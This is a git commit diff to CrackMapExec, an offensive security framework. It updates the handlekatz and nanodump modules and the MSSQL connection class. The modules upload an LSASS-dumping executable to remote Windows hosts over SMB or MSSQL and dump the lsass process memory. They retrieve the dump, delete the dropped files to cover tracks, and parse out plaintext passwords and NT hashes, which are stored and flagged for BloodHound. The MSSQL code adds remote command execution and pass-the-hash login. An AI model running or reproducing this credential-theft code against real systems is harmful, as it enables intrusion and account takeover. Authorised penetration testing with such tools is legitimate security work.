fix(mssql): change how mssql returns results, bypassing impacket/tds jank logging and fix handlekatz/nanodump modules
parent
bf77a28014
commit
1260751194
|
@ -9,13 +9,15 @@ import base64
|
|||
import re
|
||||
import sys
|
||||
|
||||
from cme.helpers.bloodhound import add_user_bh
|
||||
|
||||
|
||||
class CMEModule:
|
||||
|
||||
name = 'handlekatz'
|
||||
name = "handlekatz"
|
||||
description = "Get lsass dump using handlekatz64 and parse the result with pypykatz"
|
||||
supported_protocols = ['smb']
|
||||
opsec_safe = True # not really
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = False
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
|
@ -35,79 +37,92 @@ class CMEModule:
|
|||
self.dir_result = self.handlekatz_path
|
||||
self.useembeded = True
|
||||
|
||||
if 'HANDLEKATZ_PATH' in module_options:
|
||||
self.handlekatz_path = module_options['HANDLEKATZ_PATH']
|
||||
if "HANDLEKATZ_PATH" in module_options:
|
||||
self.handlekatz_path = module_options["HANDLEKATZ_PATH"]
|
||||
self.useembeded = False
|
||||
|
||||
if 'HANDLEKATZ_EXE_NAME' in module_options:
|
||||
self.handlekatz = module_options['HANDLEKATZ_EXE_NAME']
|
||||
self.useembeded = False
|
||||
if "HANDLEKATZ_EXE_NAME" in module_options:
|
||||
self.handlekatz = module_options["HANDLEKATZ_EXE_NAME"]
|
||||
|
||||
if 'TMP_DIR' in module_options:
|
||||
self.tmp_dir = module_options['TMP_DIR']
|
||||
if "TMP_DIR" in module_options:
|
||||
self.tmp_dir = module_options["TMP_DIR"]
|
||||
|
||||
if 'DIR_RESULT' in module_options:
|
||||
self.dir_result = module_options['DIR_RESULT']
|
||||
if "DIR_RESULT" in module_options:
|
||||
self.dir_result = module_options["DIR_RESULT"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if self.useembeded == True:
|
||||
with open(self.handlekatz_path + self.handlekatz, 'wb') as handlekatz:
|
||||
if self.useembeded:
|
||||
with open(self.handlekatz_path + self.handlekatz, "wb") as handlekatz:
|
||||
handlekatz.write(self.handlekatz_embeded)
|
||||
|
||||
context.log.display('Copy {} to {}'.format(self.handlekatz_path + self.handlekatz, self.tmp_dir))
|
||||
with open(self.handlekatz_path + self.handlekatz, 'rb') as handlekatz:
|
||||
context.log.display(f"Copy {self.handlekatz_path + self.handlekatz} to {self.tmp_dir}")
|
||||
with open(self.handlekatz_path + self.handlekatz, "rb") as handlekatz:
|
||||
try:
|
||||
connection.conn.putFile(self.share, self.tmp_share + self.handlekatz, handlekatz.read)
|
||||
context.log.success('Created file {} on the \\\\{}{}'.format(self.handlekatz, self.share, self.tmp_share))
|
||||
context.log.success(
|
||||
f"[OPSEC] Created file {self.handlekatz} on the \\\\{self.share}{self.tmp_share}"
|
||||
)
|
||||
except Exception as e:
|
||||
context.log.fail('Error writing file to share {}: {}'.format(share, e))
|
||||
|
||||
# get pid lsass
|
||||
command = 'tasklist /v /fo csv | findstr /i "lsass"'
|
||||
context.log.display('Getting lsass PID {}'.format(command))
|
||||
context.log.fail(f"Error writing file to share {self.share}: {e}")
|
||||
|
||||
# get LSASS PID via `tasklist`
|
||||
command = "tasklist /v /fo csv | findstr /i \"lsass\""
|
||||
context.log.display(f"Getting lsass PID via command {command}")
|
||||
p = connection.execute(command, True)
|
||||
context.log.debug(f"Command Result: {p}")
|
||||
if len(p) == 1:
|
||||
p = p[0]
|
||||
|
||||
if not p or p == "None":
|
||||
context.log.fail(f"Failed to execute command to get LSASS PID")
|
||||
return
|
||||
# we get a CSV string back from `tasklist`, so we grab the PID from it
|
||||
pid = p.split(',')[1][1:-1]
|
||||
command = self.tmp_dir + self.handlekatz + ' --pid:' + pid + ' --outfile:' + self.tmp_dir + '%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.log'
|
||||
context.log.display('Executing command {}'.format(command))
|
||||
context.log.debug(f"pid: {pid}")
|
||||
|
||||
command = self.tmp_dir + self.handlekatz + " --pid:" + pid + " --outfile:" + self.tmp_dir + "%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.log"
|
||||
context.log.display(f"Executing command {command}")
|
||||
|
||||
p = connection.execute(command, True)
|
||||
context.log.debug(p)
|
||||
dump = False
|
||||
if 'Lsass dump is complete' in p:
|
||||
context.log.success('Process lsass.exe was successfully dumped')
|
||||
context.log.debug(f"Command result: {p}")
|
||||
|
||||
if "Lsass dump is complete" in p:
|
||||
context.log.success("Process lsass.exe was successfully dumped")
|
||||
dump = True
|
||||
else:
|
||||
context.log.fail('Process lsass.exe error un dump, try with verbose')
|
||||
|
||||
context.log.fail("Process lsass.exe error un dump, try with verbose")
|
||||
dump = False
|
||||
|
||||
if dump:
|
||||
regex = r"([A-Za-z0-9-]*\.log)"
|
||||
matches = re.search(regex, str(p), re.MULTILINE)
|
||||
machine_name = ''
|
||||
if matches:
|
||||
machine_name = matches.group()
|
||||
else:
|
||||
if not matches:
|
||||
context.log.display("Error getting the lsass.dmp file name")
|
||||
sys.exit(1)
|
||||
|
||||
context.log.display('Copy {} to host'.format(machine_name))
|
||||
machine_name = matches.group()
|
||||
context.log.display(f"Copy {machine_name} to host")
|
||||
|
||||
with open(self.dir_result + machine_name, 'wb+') as dump_file:
|
||||
try:
|
||||
connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write)
|
||||
context.log.success('Dumpfile of lsass.exe was transferred to {}'.format(self.dir_result + machine_name))
|
||||
context.log.success(
|
||||
f"Dumpfile of lsass.exe was transferred to {self.dir_result + machine_name}"
|
||||
)
|
||||
except Exception as e:
|
||||
context.log.fail('Error while get file: {}'.format(e))
|
||||
context.log.fail(f"Error while get file: {e}")
|
||||
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
|
||||
context.log.success('Deleted handlekatz file on the {} share'.format(self.share))
|
||||
context.log.success(f"Deleted handlekatz file on the {self.share} share")
|
||||
except Exception as e:
|
||||
context.log.fail('Error deleting handlekatz file on share {}: {}'.format(self.share, e))
|
||||
context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
|
||||
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
|
||||
context.log.success('Deleted lsass.dmp file on the {} share'.format(self.share))
|
||||
context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
|
||||
except Exception as e:
|
||||
context.log.fail('Error deleting lsass.dmp file on share {}: {}'.format(self.share, e))
|
||||
context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}")
|
||||
|
||||
h_in = open(self.dir_result + machine_name, "rb")
|
||||
h_out = open(self.dir_result + machine_name + ".decode", "wb")
|
||||
|
@ -115,27 +130,33 @@ class CMEModule:
|
|||
bytes_in = bytearray(h_in.read())
|
||||
bytes_in_len = len(bytes_in)
|
||||
|
||||
context.log.display("Deobfuscating, this might take a while")
|
||||
context.log.display(f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)")
|
||||
|
||||
chunks = [bytes_in[i:i+1000000] for i in range(0, len(bytes_in), 1000000)]
|
||||
chunks = [bytes_in[i:i+1000000] for i in range(0, bytes_in_len, 1000000)]
|
||||
for chunk in chunks:
|
||||
for i in range(0, len(chunk)):
|
||||
chunk[i] ^= 0x41
|
||||
|
||||
h_out.write(bytes(chunk))
|
||||
|
||||
with open(self.dir_result + machine_name + ".decode", 'rb') as dump:
|
||||
with open(self.dir_result + machine_name + ".decode", "rb") as dump:
|
||||
try:
|
||||
credentials = []
|
||||
credz_bh = []
|
||||
try:
|
||||
pypy_parse = pypykatz.parse_minidump_external(dump)
|
||||
except Exception as e:
|
||||
pypy_parse = None
|
||||
context.log.fail(f'Error parsing minidump: {e}')
|
||||
context.log.fail(f"Error parsing minidump: {e}")
|
||||
|
||||
ssps = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds',
|
||||
'tspkg_creds']
|
||||
ssps = [
|
||||
"msv_creds",
|
||||
"wdigest_creds",
|
||||
"ssp_creds",
|
||||
"livessp_creds",
|
||||
"kerberos_creds",
|
||||
"credman_creds",
|
||||
"tspkg_creds"
|
||||
]
|
||||
for luid in pypy_parse.logon_sessions:
|
||||
for ssp in ssps:
|
||||
for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []):
|
||||
|
@ -150,8 +171,8 @@ class CMEModule:
|
|||
context.log.highlight(domain + "\\" + username + ":" + print_pass)
|
||||
if "." not in domain and domain.upper() in connection.domain.upper():
|
||||
domain = connection.domain
|
||||
credz_bh.append({'username': username.upper(), 'domain': domain.upper()})
|
||||
credz_bh.append({"username": username.upper(), "domain": domain.upper()})
|
||||
if len(credz_bh) > 0:
|
||||
add_user_bh(credz_bh, None, context.log, connection.config)
|
||||
except Exception as e:
|
||||
context.log.fail('Error opening dump file', str(e))
|
||||
context.log.fail("Error opening dump file", str(e))
|
||||
|
|
|
@ -21,6 +21,7 @@ class CMEModule:
|
|||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.connection = None
|
||||
self.dir_result = None
|
||||
self.tmp_dir = None
|
||||
self.useembeded = None
|
||||
|
@ -39,7 +40,7 @@ class CMEModule:
|
|||
NANO_EXE_NAME Name of the nano executable (default: nano.exe)
|
||||
DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = NANO_PATH)
|
||||
"""
|
||||
|
||||
self.context = context
|
||||
self.tmp_dir = "C:\\Windows\\Temp\\"
|
||||
self.share = "C$"
|
||||
self.tmp_share = self.tmp_dir.split(":")[1]
|
||||
|
@ -49,12 +50,12 @@ class CMEModule:
|
|||
self.nano_path = ""
|
||||
self.useembeded = True
|
||||
|
||||
if 'NANO_PATH' in module_options:
|
||||
self.nano_path = module_options['NANO_PATH']
|
||||
if "NANO_PATH" in module_options:
|
||||
self.nano_path = module_options["NANO_PATH"]
|
||||
self.useembeded = False
|
||||
else:
|
||||
if sys.platform == "win32":
|
||||
appdata_path = os.getenv('APPDATA')
|
||||
appdata_path = os.getenv("APPDATA")
|
||||
if not os.path.exists(appdata_path + "\CME"):
|
||||
os.mkdir(appdata_path + "\CME")
|
||||
self.nano_path = appdata_path + "\CME\\"
|
||||
|
@ -65,111 +66,133 @@ class CMEModule:
|
|||
|
||||
self.dir_result = self.nano_path
|
||||
|
||||
if 'NANO_EXE_NAME' in module_options:
|
||||
self.nano = module_options['NANO_EXE_NAME']
|
||||
if "NANO_EXE_NAME" in module_options:
|
||||
self.nano = module_options["NANO_EXE_NAME"]
|
||||
self.useembeded = False
|
||||
|
||||
if 'TMP_DIR' in module_options:
|
||||
self.tmp_dir = module_options['TMP_DIR']
|
||||
if "TMP_DIR" in module_options:
|
||||
self.tmp_dir = module_options["TMP_DIR"]
|
||||
|
||||
if 'DIR_RESULT' in module_options:
|
||||
self.dir_result = module_options['DIR_RESULT']
|
||||
if "DIR_RESULT" in module_options:
|
||||
self.dir_result = module_options["DIR_RESULT"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.connection = connection
|
||||
self.context = context
|
||||
if self.useembeded:
|
||||
with open(self.nano_path + self.nano, 'wb') as nano:
|
||||
if connection.os_arch == 32 and context.protocol == 'smb':
|
||||
context.log.display("32-bit Windows detected.")
|
||||
with open(self.nano_path + self.nano, "wb") as nano:
|
||||
if self.connection.os_arch == 32 and self.context.protocol == "smb":
|
||||
self.context.log.display("32-bit Windows detected.")
|
||||
nano.write(self.nano_embedded32)
|
||||
elif connection.os_arch == 64 and context.protocol == 'smb':
|
||||
context.log.display("64-bit Windows detected.")
|
||||
elif self.connection.os_arch == 64 and self.context.protocol == "smb":
|
||||
self.context.log.display("64-bit Windows detected.")
|
||||
nano.write(self.nano_embedded64)
|
||||
elif context.protocol == 'mssql':
|
||||
elif self.context.protocol == "mssql":
|
||||
nano.write(self.nano_embedded64)
|
||||
else:
|
||||
context.log.fail('Unsupported Windows architecture')
|
||||
self.context.log.fail("Unsupported Windows architecture")
|
||||
sys.exit(1)
|
||||
|
||||
if context.protocol == 'smb':
|
||||
with open(self.nano_path + self.nano, 'rb') as nano:
|
||||
if self.context.protocol == "smb":
|
||||
with open(self.nano_path + self.nano, "rb") as nano:
|
||||
try:
|
||||
connection.conn.putFile(self.share, self.tmp_share + self.nano, nano.read)
|
||||
context.log.success(f"Created file {self.nano} on the \\\\{self.share}{self.tmp_share}")
|
||||
self.connection.conn.putFile(self.share, self.tmp_share + self.nano, nano.read)
|
||||
self.context.log.success(f"Created file {self.nano} on the \\\\{self.share}{self.tmp_share}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error writing file to share {self.share}: {e}")
|
||||
self.context.log.fail(f"Error writing file to share {self.share}: {e}")
|
||||
else:
|
||||
with open(self.nano_path + self.nano, 'rb') as nano:
|
||||
with open(self.nano_path + self.nano, "rb") as nano:
|
||||
try:
|
||||
context.log.display(f"Copy {self.nano} to {self.tmp_dir}")
|
||||
exec_method = MSSQLEXEC(connection.conn)
|
||||
self.context.log.display(f"Copy {self.nano} to {self.tmp_dir}")
|
||||
exec_method = MSSQLEXEC(self.connection.conn)
|
||||
exec_method.put_file(nano.read(), self.tmp_dir + self.nano)
|
||||
if exec_method.file_exists(self.tmp_dir + self.nano):
|
||||
context.log.success(f"Created file {self.nano} on the remote machine {self.tmp_dir}")
|
||||
self.context.log.success(f"Created file {self.nano} on the remote machine {self.tmp_dir}")
|
||||
else:
|
||||
context.log.fail("File does not exist on the remote system... error during upload")
|
||||
self.context.log.fail("File does not exist on the remote system... error during upload")
|
||||
sys.exit(1)
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error writing file to remote machine directory {self.tmp_dir}: {e}")
|
||||
|
||||
# get pid lsass
|
||||
command = 'tasklist /v /fo csv | findstr /i "lsass"'
|
||||
context.log.display(f"Getting lsass PID {command}")
|
||||
p = connection.execute(command, True)
|
||||
pid = p.split(',')[1][1:-1]
|
||||
timestamp = datetime.today().strftime('%Y%m%d_%H%M')
|
||||
self.context.log.fail(f"Error writing file to remote machine directory {self.tmp_dir}: {e}")
|
||||
|
||||
# apparently SMB exec methods treat the output parameter differently than MSSQL (we use it to display())
|
||||
# if we don't do this, then SMB doesn't actually return the results of commands, so it appears that the
|
||||
# execution fails, which it doesn't
|
||||
display_output = True if self.context.protocol == "smb" else False
|
||||
self.context.log.debug(f"Display Output: {display_output}")
|
||||
# get LSASS PID via `tasklist`
|
||||
command = "tasklist /v /fo csv | findstr /i \"lsass\""
|
||||
self.context.log.display(f"Getting LSASS PID via command {command}")
|
||||
p = self.connection.execute(command, display_output)
|
||||
self.context.log.debug(f"tasklist Command Result: {p}")
|
||||
if len(p) == 1:
|
||||
p = p[0]
|
||||
|
||||
if not p or p == "None":
|
||||
self.context.log.fail(f"Failed to execute command to get LSASS PID")
|
||||
return
|
||||
|
||||
pid = p.split(",")[1][1:-1]
|
||||
self.context.log.debug(f"pid: {pid}")
|
||||
timestamp = datetime.today().strftime("%Y%m%d_%H%M")
|
||||
nano_log_name = f"{timestamp}.log"
|
||||
command = f"{self.tmp_dir}{self.nano} --pid {pid} --write {self.tmp_dir}{nano_log_name}"
|
||||
context.log.display(f"Executing command {command}")
|
||||
p = connection.execute(command, True)
|
||||
context.log.debug(p)
|
||||
dump = False
|
||||
if 'Done' in p:
|
||||
context.log.success('Process lsass.exe was successfully dumped')
|
||||
self.context.log.display(f"Executing command {command}")
|
||||
|
||||
p = self.connection.execute(command, display_output)
|
||||
self.context.log.debug(f"NanoDump Command Result: {p}")
|
||||
|
||||
if not p or p == "None":
|
||||
self.context.log.fail(f"Failed to execute command to execute NanoDump")
|
||||
self.delete_nanodump_binary()
|
||||
return
|
||||
|
||||
# results returned are different between SMB and MSSQL
|
||||
full_results = " ".join(p) if self.context.protocol == "mssql" else p
|
||||
|
||||
if "Done" in full_results:
|
||||
self.context.log.success("Process lsass.exe was successfully dumped")
|
||||
dump = True
|
||||
else:
|
||||
context.log.fail('Process lsass.exe error on dump, try with verbose')
|
||||
|
||||
self.context.log.fail("Process lsass.exe error on dump, try with verbose")
|
||||
dump = False
|
||||
|
||||
if dump:
|
||||
context.log.display(f"Copying {nano_log_name} to host")
|
||||
filename = f"{self.dir_result}{connection.hostname}_{connection.os_arch}_{connection.domain}.log"
|
||||
if context.protocol == 'smb':
|
||||
with open(filename, 'wb+') as dump_file:
|
||||
self.context.log.display(f"Copying {nano_log_name} to host")
|
||||
filename = f"{self.dir_result}{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log"
|
||||
if self.context.protocol == "smb":
|
||||
with open(filename, "wb+") as dump_file:
|
||||
try:
|
||||
connection.conn.getFile(self.share, self.tmp_share + nano_log_name, dump_file.write)
|
||||
context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
|
||||
self.connection.conn.getFile(self.share, self.tmp_share + nano_log_name, dump_file.write)
|
||||
self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error while getting file: {e}")
|
||||
self.context.log.fail(f"Error while getting file: {e}")
|
||||
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, self.tmp_share + self.nano)
|
||||
context.log.success(f"Deleted nano file on the {self.share} share")
|
||||
self.connection.conn.deleteFile(self.share, self.tmp_share + self.nano)
|
||||
self.context.log.success(f"Deleted nano file on the {self.share} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error deleting nano file on share {self.share}: {e}")
|
||||
self.context.log.fail(f"Error deleting nano file on share {self.share}: {e}")
|
||||
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, self.tmp_share + nano_log_name)
|
||||
context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
|
||||
self.connection.conn.deleteFile(self.share, self.tmp_share + nano_log_name)
|
||||
self.context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
|
||||
self.context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
|
||||
else:
|
||||
try:
|
||||
exec_method = MSSQLEXEC(connection.conn)
|
||||
exec_method = MSSQLEXEC(self.connection.conn)
|
||||
exec_method.get_file(self.tmp_dir + nano_log_name, filename)
|
||||
context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
|
||||
self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error while getting file: {e}")
|
||||
self.context.log.fail(f"Error while getting file: {e}")
|
||||
|
||||
self.delete_nanodump_binary()
|
||||
|
||||
try:
|
||||
connection.execute(f"del {self.tmp_dir + self.nano}")
|
||||
context.log.success(f"Deleted nano file on the {self.share} dir")
|
||||
self.connection.execute(f"del {self.tmp_dir + nano_log_name}")
|
||||
self.context.log.success(f"Deleted lsass.dmp file on the {self.tmp_dir} dir")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error deleting nano file on dir {self.tmp_dir}: {e}")
|
||||
|
||||
try:
|
||||
connection.execute(f"del {self.tmp_dir + nano_log_name}")
|
||||
context.log.success(f"Deleted lsass.dmp file on the {self.tmp_dir} dir")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error deleting lsass.dmp file on dir {self.tmp_dir}: {e}")
|
||||
self.context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on dir {self.tmp_dir}: {e}")
|
||||
|
||||
fh = open(filename, "r+b")
|
||||
fh.seek(0)
|
||||
|
@ -187,16 +210,16 @@ class CMEModule:
|
|||
pypy_parse = pypykatz.parse_minidump_external(dump)
|
||||
except Exception as e:
|
||||
pypy_parse = None
|
||||
context.log.fail(f'Error parsing minidump: {e}')
|
||||
self.context.log.fail(f"Error parsing minidump: {e}")
|
||||
|
||||
ssps = [
|
||||
'msv_creds',
|
||||
'wdigest_creds',
|
||||
'ssp_creds',
|
||||
'livessp_creds',
|
||||
'kerberos_creds',
|
||||
'credman_creds',
|
||||
'tspkg_creds'
|
||||
"msv_creds",
|
||||
"wdigest_creds",
|
||||
"ssp_creds",
|
||||
"livessp_creds",
|
||||
"kerberos_creds",
|
||||
"credman_creds",
|
||||
"tspkg_creds"
|
||||
]
|
||||
|
||||
for luid in pypy_parse.logon_sessions:
|
||||
|
@ -215,19 +238,26 @@ class CMEModule:
|
|||
else:
|
||||
credtype = "hash"
|
||||
credential = NThash
|
||||
context.log.highlight(f"{domain}\\{username}:{credential}")
|
||||
host_id = context.db.get_hosts(connection.host)[0][0]
|
||||
context.db.add_credential(
|
||||
self.context.log.highlight(f"{domain}\\{username}:{credential}")
|
||||
host_id = self.context.db.get_hosts(self.connection.host)[0][0]
|
||||
self.context.db.add_credential(
|
||||
credtype,
|
||||
connection.domain,
|
||||
username,
|
||||
credential,
|
||||
pillaged_from=host_id
|
||||
)
|
||||
if "." not in domain and domain.upper() in connection.domain.upper():
|
||||
domain = connection.domain
|
||||
bh_creds.append({'username': username.upper(), 'domain': domain.upper()})
|
||||
if "." not in domain and domain.upper() in self.connection.domain.upper():
|
||||
domain = self.connection.domain
|
||||
bh_creds.append({"username": username.upper(), "domain": domain.upper()})
|
||||
if len(bh_creds) > 0:
|
||||
add_user_bh(bh_creds, None, context.log, connection.config)
|
||||
add_user_bh(bh_creds, None, self.context.log, self.connection.config)
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error opening dump file: {e}")
|
||||
self.context.log.fail(f"Error opening dump file: {e}")
|
||||
|
||||
def delete_nanodump_binary(self):
|
||||
try:
|
||||
self.connection.execute(f"del {self.tmp_dir + self.nano}")
|
||||
self.context.log.success(f"Deleted nano file on the {self.share} dir")
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"[OPSEC] Error deleting nano file on dir {self.tmp_dir}: {e}")
|
||||
|
|
|
@ -63,7 +63,7 @@ class mssql(connection):
|
|||
self.enum_host_info()
|
||||
self.print_host_info()
|
||||
self.login()
|
||||
if hasattr(self.args, 'module') and self.args.module:
|
||||
if hasattr(self.args, "module") and self.args.module:
|
||||
self.call_modules()
|
||||
else:
|
||||
self.call_cmd_args()
|
||||
|
@ -71,10 +71,10 @@ class mssql(connection):
|
|||
def proto_logger(self):
|
||||
self.logger = CMEAdapter(
|
||||
extra={
|
||||
'protocol': 'MSSQL',
|
||||
'host': self.host,
|
||||
'port': self.args.port,
|
||||
'hostname': 'None'
|
||||
"protocol": "MSSQL",
|
||||
"host": self.host,
|
||||
"port": self.args.port,
|
||||
"hostname": "None"
|
||||
}
|
||||
)
|
||||
|
||||
|
@ -82,7 +82,7 @@ class mssql(connection):
|
|||
# this try pass breaks module http server, more info https://github.com/byt3bl33d3r/CrackMapExec/issues/363
|
||||
try:
|
||||
# Probably a better way of doing this, grab our IP from the socket
|
||||
self.local_ip = str(self.conn.socket).split()[2].split('=')[1].split(':')[0]
|
||||
self.local_ip = str(self.conn.socket).split()[2].split("=")[1].split(":")[0]
|
||||
except:
|
||||
pass
|
||||
|
||||
|
@ -92,7 +92,7 @@ class mssql(connection):
|
|||
try:
|
||||
smb_conn = SMBConnection(self.host, self.host, None)
|
||||
try:
|
||||
smb_conn.login('', '')
|
||||
smb_conn.login("", "")
|
||||
except SessionError as e:
|
||||
if "STATUS_ACCESS_DENIED" in e.getErrorString():
|
||||
pass
|
||||
|
@ -100,7 +100,7 @@ class mssql(connection):
|
|||
self.domain = smb_conn.getServerDNSDomainName()
|
||||
self.hostname = smb_conn.getServerName()
|
||||
self.server_os = smb_conn.getServerOS()
|
||||
self.logger.extra['hostname'] = self.hostname
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
|
||||
try:
|
||||
smb_conn.logoff()
|
||||
|
@ -136,7 +136,7 @@ class mssql(connection):
|
|||
|
||||
def create_conn_obj(self):
|
||||
try:
|
||||
self.conn = tds.MSSQL(self.host, self.args.port, rowsPrinter=self.logger)
|
||||
self.conn = tds.MSSQL(self.host, self.args.port)
|
||||
self.conn.connect()
|
||||
except socket.error:
|
||||
return False
|
||||
|
@ -147,19 +147,18 @@ class mssql(connection):
|
|||
try:
|
||||
results = self.conn.sql_query("SELECT IS_SRVROLEMEMBER('sysadmin')")
|
||||
is_admin = int(results[0][""])
|
||||
|
||||
if is_admin:
|
||||
self.admin_privs = True
|
||||
self.logger.debug(f"User is admin")
|
||||
else:
|
||||
return False
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error calling check_if_admin(): {e}")
|
||||
self.logger.fail(f"Error querying for sysadmin role: {e}")
|
||||
return False
|
||||
|
||||
if is_admin:
|
||||
self.admin_privs = True
|
||||
self.logger.debug(f"User is admin")
|
||||
else:
|
||||
return False
|
||||
return True
|
||||
|
||||
def kerberos_login(self, domain, username, password='', ntlm_hash='', aesKey='', kdcHost='', useCache=False):
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
try:
|
||||
self.conn.disconnect()
|
||||
except:
|
||||
|
@ -167,15 +166,15 @@ class mssql(connection):
|
|||
self.create_conn_obj()
|
||||
logging.getLogger("impacket").disabled = True
|
||||
|
||||
nthash = ''
|
||||
nthash = ""
|
||||
hashes = None
|
||||
if ntlm_hash != '':
|
||||
if ntlm_hash.find(':') != -1:
|
||||
if ntlm_hash != "":
|
||||
if ntlm_hash.find(":") != -1:
|
||||
hashes = ntlm_hash
|
||||
nthash = ntlm_hash.split(':')[1]
|
||||
nthash = ntlm_hash.split(":")[1]
|
||||
else:
|
||||
# only nt hash
|
||||
hashes = ':%s' % ntlm_hash
|
||||
hashes = f":{ntlm_hash}"
|
||||
nthash = ntlm_hash
|
||||
|
||||
if not all('' == s for s in [self.nthash, password, aesKey]):
|
||||
|
@ -190,7 +189,7 @@ class mssql(connection):
|
|||
|
||||
self.password = password
|
||||
if username == '' and useCache:
|
||||
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
|
||||
ccache = CCache.loadFile(os.getenv("KRB5CCNAME"))
|
||||
principal = ccache.principal.toPrincipal()
|
||||
self.username = principal.components[0]
|
||||
username = principal.components[0]
|
||||
|
@ -285,9 +284,9 @@ class mssql(connection):
|
|||
res = self.conn.login(
|
||||
None,
|
||||
username,
|
||||
'',
|
||||
"",
|
||||
domain,
|
||||
':' + nthash if not lmhash else ntlm_hash,
|
||||
":" + nthash if not lmhash else ntlm_hash,
|
||||
not self.args.local_auth
|
||||
)
|
||||
if res is not True:
|
||||
|
@ -298,10 +297,10 @@ class mssql(connection):
|
|||
self.username = username
|
||||
self.domain = domain
|
||||
self.check_if_admin()
|
||||
self.db.add_credential('hash', domain, username, ntlm_hash)
|
||||
self.db.add_credential("hash", domain, username, ntlm_hash)
|
||||
|
||||
if self.admin_privs:
|
||||
self.db.add_admin_user('hash', domain, username, ntlm_hash, self.host)
|
||||
self.db.add_admin_user("hash", domain, username, ntlm_hash, self.host)
|
||||
|
||||
out = u"{}\\{} {} {}".format(
|
||||
domain,
|
||||
|
@ -323,7 +322,8 @@ class mssql(connection):
|
|||
return False
|
||||
|
||||
def mssql_query(self):
|
||||
self.conn.sql_query(self.args.mssql_query)
|
||||
result = self.conn.sql_query(self.args.mssql_query)
|
||||
self.logger.debug(f"Result: {result}")
|
||||
self.conn.printRows()
|
||||
for line in StringIO(self.conn._MSSQL__rowsPrinter.getMessage()).readlines():
|
||||
if line.strip() != '':
|
||||
|
@ -334,27 +334,31 @@ class mssql(connection):
|
|||
def execute(self, payload=None, get_output=False, methods=None):
|
||||
if not payload and self.args.execute:
|
||||
payload = self.args.execute
|
||||
if not self.args.no_output: get_output = True
|
||||
if not self.args.no_output:
|
||||
get_output = True
|
||||
|
||||
self.logger.info(f"Command to execute:\n{payload}")
|
||||
exec_method = MSSQLEXEC(self.conn)
|
||||
raw_output = exec_method.execute(payload, get_output)
|
||||
try:
|
||||
exec_method = MSSQLEXEC(self.conn)
|
||||
raw_output = exec_method.execute(payload, get_output)
|
||||
except Exception as e:
|
||||
self.logger.exception(e)
|
||||
return None
|
||||
|
||||
self.logger.info("Executed command via mssqlexec")
|
||||
|
||||
if hasattr(self, "server"):
|
||||
self.server.track_host(self.host)
|
||||
|
||||
output = f"{raw_output}"
|
||||
|
||||
if self.args.execute or self.args.ps_execute:
|
||||
#self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else ''))
|
||||
# self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else ''))
|
||||
self.logger.success("Executed command via mssqlexec")
|
||||
buf = StringIO(output).readlines()
|
||||
buf = StringIO(raw_output).readlines()
|
||||
for line in buf:
|
||||
if line.strip() != '':
|
||||
if line.strip() != "":
|
||||
self.logger.highlight(line.strip())
|
||||
|
||||
return output
|
||||
return raw_output
|
||||
|
||||
@requires_admin
|
||||
def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, dont_obfs=True):
|
||||
|
@ -362,7 +366,7 @@ class mssql(connection):
|
|||
payload = self.args.ps_execute
|
||||
if not self.args.no_output: get_output = True
|
||||
|
||||
# We're disabling PS obfuscation by default as it breaks the MSSQLEXEC execution method (probably an escaping issue)
|
||||
# We're disabling PS obfuscation by default as it breaks the MSSQLEXEC execution method
|
||||
ps_command = create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs)
|
||||
return self.execute(ps_command, get_output)
|
||||
|
||||
|
@ -392,49 +396,47 @@ class mssql(connection):
|
|||
except Exception as e:
|
||||
self.logger.fail(f"Error reading file {self.args.get_file[0]}: {e}")
|
||||
|
||||
# We hook these functions in the tds library to use CME's logger instead of printing the output to stdout
|
||||
# The whole tds library in impacket needs a good overhaul to preserve my sanity
|
||||
def printRepliesCME(self):
|
||||
